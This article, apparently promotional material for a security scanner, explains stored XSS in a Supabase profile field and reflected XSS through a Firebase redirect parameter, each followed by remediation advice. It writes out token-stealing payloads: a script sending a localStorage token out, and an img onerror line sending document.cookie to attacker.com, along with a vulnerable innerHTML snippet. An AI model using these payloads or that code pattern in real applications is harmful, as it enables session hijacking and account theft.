8 Devastating Cross Site Scripting Attacks Examples

[✨ Megiddo]

1. Stored XSS via User Profile Input: The Supabase RLS Bypass​

Stored Cross-Site Scripting (XSS) attacks, also known as persistent XSS, represent a significant threat because the malicious script is saved directly on the target server. This makes it a potent cross site scripting attacks example as the payload is served to every user who views the contaminated page, often without any further interaction required from the attacker.

In modern applications built with platforms like Supabase, this vulnerability frequently appears in user-generated content sections, such as a profile biography or a forum post. The core issue arises when developers trust server-side security mechanisms like Row Level Security (RLS) to do more than they are designed for. RLS is excellent at controlling who can read or write data, but it does not inspect or sanitise the content of that data.

Attack Analysis and Payload​

An attacker can exploit this by injecting a malicious script into a field they are permitted to edit, like their own user profile.

• Vulnerable Field: A user's biography text area.
• RLS Policy: (auth.uid() = user_id) - This common policy allows users to update their own profile, which is correct from an access control perspective.
• Malicious Payload: <script>fetch('/api/steal-data?token='+localStorage.getItem('sb-token'))</script>

When another user, such as an administrator or a fellow community member, views the attacker's profile, the application fetches the biography from the database. If the frontend renders this data directly into the HTML without sanitisation, the script executes in the victim's browser. It silently grabs their authentication token from localStorage and sends it to an attacker-controlled endpoint.

Key Insight: The security failure here is not in Supabase's RLS, but in the frontend's failure to treat all user-supplied data as untrusted. RLS prevents a user from writing to another user's profile, but it cannot prevent them from writing a malicious script into their own.

Remediation and Testing​

Defending against this attack requires a client-side or server-side rendering approach that neutralises malicious code before it reaches the browser.

1. Output Encoding: The most effective defence is to correctly encode all dynamic data before rendering it. For instance, convert characters like < and > into their HTML entity equivalents (&lt; and &gt😉. This ensures the browser displays the script as plain text instead of executing it.
2. Content Security Policy (CSP): Implement a strict CSP to restrict which domains scripts can be loaded from, significantly reducing the impact of any injected code.
3. Automated Scanning: Use security scanners like AuditYour.App to proactively test RLS policies. Its fuzzing capabilities can check if write-access policies are overly permissive and identify fields where an attacker could inject a persistent payload, catching these architectural blind spots before they are exploited.

 

[✨ Megiddo]

2. Reflected XSS via URL Query Parameters - Firebase Redirect​

Reflected Cross-Site Scripting (XSS) attacks occur when a malicious script is injected into an application through a URL, which is then reflected back from the server to the victim's browser. This is a common cross site scripting attacks example because the payload is not saved on the server; instead, it's delivered via a specially crafted link that the victim must click.

In applications built on Firebase, this vulnerability often manifests in features that use URL parameters, such as search results, error messages, or redirection logic. The core problem is the direct rendering of unvalidated URL parameters into the HTML of a page. An attacker tricks a user into clicking a link, and the user's browser, trusting the source domain, executes the embedded script. This can lead to the theft of Firebase ID tokens or session cookies.

Attack Analysis and Payload​

An attacker can exploit this by crafting a malicious link that includes a script within a query parameter. When a user clicks this link, the application renders the parameter's content directly onto the page, executing the script.

• Vulnerable Feature: A search page or a custom redirect endpoint.
• Malicious Link: https://yourapp.com/redirect?to=<img src=x onerror="fetch('https://attacker.com/log?token='+document.cookie)">
• Vulnerable Code Snippet (Client-side): const query = new URLSearchParams(window.location.search).get('to'); document.getElementById('redirectUrl').innerHTML = 'Redirecting to: ' + query;

When a victim clicks the link, the browser fetches the page. The JavaScript on the page reads the to parameter from the URL and injects its value into the redirectUrl element using innerHTML. The browser parses this string, finds the invalid img tag, triggers the onerror event, and executes the script. This script then sends the user's document.cookie, potentially containing session tokens, to the attacker's server.

Key Insight: The security failure is the application's implicit trust in URL parameters. Unlike stored XSS, the payload is never persisted, making it harder to detect on the server-side. The vulnerability lies entirely in how the client-side code handles and renders data received from the URL.

Remediation and Testing​

Defending against reflected XSS requires treating all URL parameters as untrusted data and ensuring they are handled safely before being rendered.

1. Context-Aware Output Encoding: Instead of rendering parameters with innerHTML, use safer properties like textContent, which treats all input as plain text and does not interpret HTML tags. For attributes, ensure proper encoding is applied.
2. Use Modern Frameworks: Frontend frameworks like React (with JSX) and Vue automatically escape data bindings by default, preventing raw HTML from being rendered. Relying on these built-in protections is a strong first line of defence.
3. Content Security Policy (CSP): Implement a strict script-src directive in your CSP. This can prevent the browser from executing inline scripts or loading scripts from unauthorised domains, neutralising the impact of a successful injection.
4. Automated Dynamic Scanning: Employ security scanners like AuditYour.App to test your application dynamically. These tools can automatically craft malicious URLs with various payloads to probe search fields, redirect parameters, and other input vectors for reflected XSS vulnerabilities, identifying them before an attacker does.